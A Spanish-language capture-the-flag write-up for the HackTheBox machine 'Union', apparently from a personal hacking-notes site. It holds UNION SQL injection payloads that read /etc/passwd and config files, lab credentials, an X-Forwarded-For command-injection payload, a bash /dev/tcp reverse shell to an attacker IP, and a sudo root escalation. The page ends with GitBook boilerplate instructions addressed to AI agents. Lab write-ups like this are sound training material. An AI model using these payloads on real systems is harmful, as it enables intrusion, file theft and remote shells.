> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Resolución de HackTheBox Union

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**Habilidades:**

* SQLI (Inyección SQL) - Inyección UNION
* SQLI - Leer archivos
* Inyección de comandos en cabeceras HTTP - X-FORWARDED-FOR (RCE)
* Abusar del privilegio sudoers (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/f30fa6d5e4e37c225ea2d77ed6af6396d42b65b6" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/12361ae0a0ae1bd2a57bacf4329b852688b7a251" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="/files/b8aa088b2f97727799bd578c8c25a50caf70d8c0" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (80)

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="/files/8c6ad91d9c216f5b8ccfcb4c41d81dc7709da5a8" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="/files/1b6a2ac7c8119ce8b0d29da287ebea2ef747ff91" alt=""><figcaption></figcaption></figure>

### Lista de archivos

con gobusteron hará una enumeración de archivos con extensiones php

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

Hay dos archivos que no son accesibles externamente: `config.php` y `firewall.php`.

<figure><img src="/files/b598e24b7edd9a0d2368aac4c6935d3d6f65b6a2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7afb50cd336b6dc9b3b2bae913f3659a9a0a3164" alt=""><figcaption></figcaption></figure>

En `index.php`si añadimos un nombre en el formulario, aparece en la respuesta.

<figure><img src="/files/6edfb729b3f732d1f766d97a4a25dd0b681df587" alt=""><figcaption></figcaption></figure>

el archivo del desafío nos pide una flag

<figure><img src="/files/63fb316ad9bf4fdd233fcdcdd208dad926ba7ff3" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad SQLI - Inyección UNION

Interceptamos la petición con Burp Suite y alteramos la variable `jugador`:

<figure><img src="/files/3071747fbd1bb2d09607a5f33937df6cb036ba39" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

El nombre de la base de datos es `november`.

<figure><img src="/files/1fe9f40f678fe20485ff170af33bdfe5bc73dd72" alt=""><figcaption></figcaption></figure>

Para listar todas las bases de datos:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

Resultado: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/a9b559b0f0b7e114b8c202166f48e9458928c1d5" alt=""><figcaption></figcaption></figure>

Lista las tablas en `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="/files/789238202bf77a63ee42a7c011ff3a3cd89684f3" alt=""><figcaption></figcaption></figure>

Lista las columnas en la `players` tabla:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

Columnas encontradas: `jugador`

<figure><img src="/files/da5bc3d42e2a1404666486f1ad723a24b3d20fc7" alt=""><figcaption></figcaption></figure>

**Extracción de datos de usuarios**

```sql
jordan' union select group_concat(player,':') from players-- -
```

Jugadores encontrados: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/8ada02611f5ec0147afd8c0ba0048c39f40f5195" alt=""><figcaption></figcaption></figure>

Extracción de la flag:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="/files/c70caf04b26be266f8e2a9581b6e22365e868dea" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="/files/b48c65f79615e8033c9e0c24bcf93198f8de936f" alt=""><figcaption></figcaption></figure>

* Flag encontrada: `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - Leer archivos**

Lectura `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

Encontramos un `uhc` usuario.

<figure><img src="/files/7152b991a78a967936ab09889ec4084bb85603f5" alt=""><figcaption></figcaption></figure>

### Bandera user.txt

Lectura `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="/files/504fdb1ee0a1ccc97dbb8bb6c7d361ef7a680cb3" alt=""><figcaption></figcaption></figure>

Lectura `config.php`, encontramos credenciales de la base de datos:

<figure><img src="/files/2711a0b07bc2f82a39e82d1a3fbba46134bebfa0" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

Lectura `firewall.php`, entendemos que enviar la flag abre el puerto SSH:

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="/files/2943ee269c2cddd0e63a5703e35362b9b24aadbf" alt=""><figcaption></figcaption></figure>

Enviamos la flag: `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="/files/8126cc587eaac859930f41bab145b8287ba87586" alt=""><figcaption></figcaption></figure>

El puerto 22 ahora está abierto.<br>

<figure><img src="/files/6a221f1a0e8d9cbc8ab932757463bbe6f9c0d204" alt=""><figcaption></figcaption></figure>

### Conexión SSH

Usamos las credenciales identificadas para iniciar sesión:

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="/files/5260d033553ae03cf72f4c328ec874548b0368f8" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

### Inyección de comandos en cabeceras HTTP - X-FORWARDED-FOR (RCE)

Si miras el `firewall.php` archivo, notarás que recupera la `HTTP_X_FORWARDED_FOR` cabecera y la usa con `sudo` para ejecutar un comando:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="/files/16141eb1f74ee4ea954a4a647f6bcb65d37412d8" alt=""><figcaption></figcaption></figure>

Como esta variable puede controlarse mediante una petición HTTP, podemos inyectar un comando arbitrario.

**Explotación**

Como esta es una cabecera HTTP, podemos inyectar un comando, por ejemplo usando `curl` para contactar con nuestro servidor web.

**Implementando un servidor web:**

```bash
python3 -m http.server 80
```

**Control de inyección con `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="/files/681f17d2b8f9add6910184e6a2d48e4b38498207" alt=""><figcaption></figcaption></figure>

**Shell inversa**

**Escuchar en el puerto 443:**

```bash
nc -nlvp 443
```

**Orden para obtener una shell remota:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

Una vez conectados, somos el usuario `www-data`.

<figure><img src="/files/70110e07d70e0fb0aa6cd7a2eee39509d64579c7" alt=""><figcaption></figcaption></figure>

#### Estabilización de la terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

Con el siguiente comando, comprobamos `sudo` los permisos:

```bash
sudo -l 
```

<figure><img src="/files/bc77e86c085159d9872aec9ca404b467b791eb0b" alt=""><figcaption></figcaption></figure>

Si vemos que `www-data` puede ejecutar cualquier comando como cualquier usuario (`(ALL: ALL) ALL`), entonces podemos obtener una shell de root con:

```bash
sudo /bin/bash -p
```

<figure><img src="/files/506ffd362c58b6440df475eda2c005c1141baf4b" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/c11f1e76436bd305b70be262dfa5512f6190e580" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/27ebed2d8f3b254828049ae54e3d47694b2f4009" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
